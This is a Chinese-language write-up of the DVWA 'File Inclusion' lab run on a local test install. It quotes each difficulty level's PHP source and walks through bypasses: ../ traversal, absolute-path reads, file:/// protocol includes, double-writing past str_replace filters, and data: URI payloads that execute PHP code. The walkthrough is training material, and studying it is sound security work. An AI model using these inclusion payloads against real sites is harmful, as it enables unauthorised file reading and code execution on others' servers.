文件包含,未经过严格过滤,将一些恶意构造带入了包含函数,可以使用一些包含函数来包含一些其他乱七八糟的东西,要么导致任意文件读取,要么命令执行

文件包含包括远程文件包含(RFI)和本地文件包含(LFI)两种

RFI利用基本条件:allow_url_fopen = On(默认开)、allow_url_include = On(默认关,也没人闲的没事去开他)

LFI可包含共享文件,敏感目录文件,session

可包含Data:URI schema  比如?file=data:text/plain,<?php phpinfo();?>  再比如file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

如果有后缀限制,截断大法好,伪协议大法好(phar绕过上传限制、zip绕过上传限制等一堆),不过需要视具体情况判断使用条件限制

Low:

看一眼源代码

<?php

// The page we wish to display

$file = $_GET[ 'page' ];

?>

没啥过滤筛查

三个文件,点一下包含,把文件包含进去了,返回结果告诉你一声

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=lcx.php

把include.php改成lcx.php,报错出路径(本地靶场)

根目录D:\phpstudy\phpstudy_pro\WWW\dvwa

读个phpinfo不过分吧

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=D:\phpstudy\phpstudy_pro\WWW\dvwa\phpinfo.php

如果不报错,可以

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../../../phpinfo.php

去猜测

这是LFI

当然符合RFI的条件时,可以去访问外网网址、文件、下载链接什么的来造成代码执行

?page=url

Medium:

<?php

// The page we wish to display

$file = $_GET[ 'page' ];

// Input validation

$file = str_replace( array( "http://", "https://" ), "", $file );

$file = str_replace( array( "../", "..\"" ), "", $file );

?>

”http:// ”、”https://”、 ” ../”、”..\”被过滤了

关键是用str_replace,能用双写绕过,而且防不住知道绝对路径的,无论是LFI还是RFI

High:

<?php

// The page we wish to display

$file = $_GET[ 'page' ];

// Input validation

if( !fnmatch( "file*", $file ) && $file != "include.php" ) {

// This isn't the page we want!

echo "ERROR: File not found!";

exit;

}

?>

要求page参数的开头必须是file

那就file协议走起

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///D:/phpstudy/phpstudy_pro/WWW/dvwa/phpinfo.php 

Impossible:

<?php

// The page we wish to display

$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php

if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {

// This isn't the page we want!

echo "ERROR: File not found!";

exit;

}

?>

白名单防护,只能从include.php”、“file1.php”、“file2.php”、“file3.php”之中选一个,不存在任意文件包含了

DVWA靶场之File Inclusion(文件包含)通关的更多相关文章

  1. DVWA之File Inclusion(文件包含)

    目录 LOW: Medium: High Impossible LOW: 源代码: <?php // The page we wish to display $file = $_GET[ 'pa ...

  2. Pikachu-File Inclusion(文件包含漏洞)

    File Inclusion(文件包含漏洞)概述 文件包含,是一个功能.在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件. 比如 在PHP中 ...

  3. DVWA靶场之File Upload(文件上传)通关

    Low: <?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_pa ...

  4. DVWA靶场之XSS(Stored)通关

    Low: <?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage ...

  5. DVWA靶场之XSS(Reflected)通关

    反射型xss Low: <?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_ ...

  6. DVWA各级文件包含漏洞

    File Inclusion文件包含漏洞 漏洞分析 程序开发人员通常会把可重复使用的函数写入到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程被称为包含. 有时候由于网 ...

  7. DVWA File Inclusion 通关教程

    File Inclusion 介绍File Inclusion,即文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数:include(),req ...

  8. Kali学习笔记31:目录遍历漏洞、文件包含漏洞

    文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 目录遍历漏洞: 应用程序如果有操作文件的功能,限制不严 ...

  9. 小白日记37:kali渗透测试之Web渗透-手动漏洞挖掘(三)-目录遍历、文件包含

    手动漏洞挖掘 漏洞类型 #Directory traversal 目录遍历[本台机器操作系统上文件进行读取] 使用者可以通过浏览器/URL地址或者参数变量内容,可以读取web根目录[默认为:/var/ ...

随机推荐

  1. leetcode 面试题 17.22. 单词转换(DFS+回溯)

    题目描述 思路分析 这题回溯,先想出它的空间解是什么,这里空间解,其实就是给的原字符串到结束字符串中间的变形过程,那么就可以容易的画出一个解空间树,用深度搜索进行搜索, 剪枝后,进入下一个维度,再进行 ...

  2. C语言:小数(float double)

    小数分为整数部分和小数部分,它们由点号.分隔,例如 0.0.75.0.4.023.0.27.-937.198 -0.27 等都是合法的小数,这是最常见的小数形式,我们将它称为十进制形式.此外,小数也可 ...

  3. python 构造函数 析构函数

    #构造函数是在对象被创建是自动调用的方法,用来完成初始化操作class Test(object): def __init__(self, name): self.name = name print(' ...

  4. MapReduce显示最受欢迎的Top10课程(按照课程编号)

    上篇博客已经说过,会将代码进行优化,并通过TreeMap进行排序实现,现在简单说明一下代码的思路. 项目以上传到github:https://github.com/yandashan/MapReduc ...

  5. Junit测试用例配置Log4j

    用Junit测试非常方便,但有时我们想要看日志来方便排除,使用spring+log4j时,用Junit测试看日志很多人都不太会,即如何将Junit与log4j进行整合. 我也是研究了半天,才终于找到了 ...

  6. springboot-1-入门

    springboot-1-入门 1.springboot简介,背景 简化Spring应用开发的一个框架: 整个Spring技术栈的一个大整合: J2EE开发的一站式解决方案: 2.极简hellowor ...

  7. .net core工具组件系列之Redis—— 第一篇:Windows环境配置Redis(5.x以上版本)以及部署为Windows服务

    Cygwin工具编译Redis Redis6.x版本是未编译版本(官方很调皮,所以没办法,咱只好帮他们编译一下了),所以咱们先下载一个Cygwin,用它来对Redis进行编译. Cygwin下载地址: ...

  8. Java实战:教你如何进行数据库分库分表

    摘要:本文通过实际案例,说明如何按日期来对订单数据进行水平分库和分表,实现数据的分布式查询和操作. 本文分享自华为云社区<数据库分库分表Java实战经验总结 丨[绽放吧!数据库]>,作者: ...

  9. nacos Failed to obtain JDBC Connection 连接异常

    在conf/目录下,将application.properties.example 改名为bootstrap.properties 将连接数据库信息添加到末尾 # db mysql spring.da ...

  10. 【阿菜读论文】ContractFuzzer:fuzzing方法挖掘智能合约漏洞

    论文简介 论文标题:ContractFuzzer: Fuzzing Smart Contracts for Vulnerability Detection 论文链接:ContractFuzzer: F ...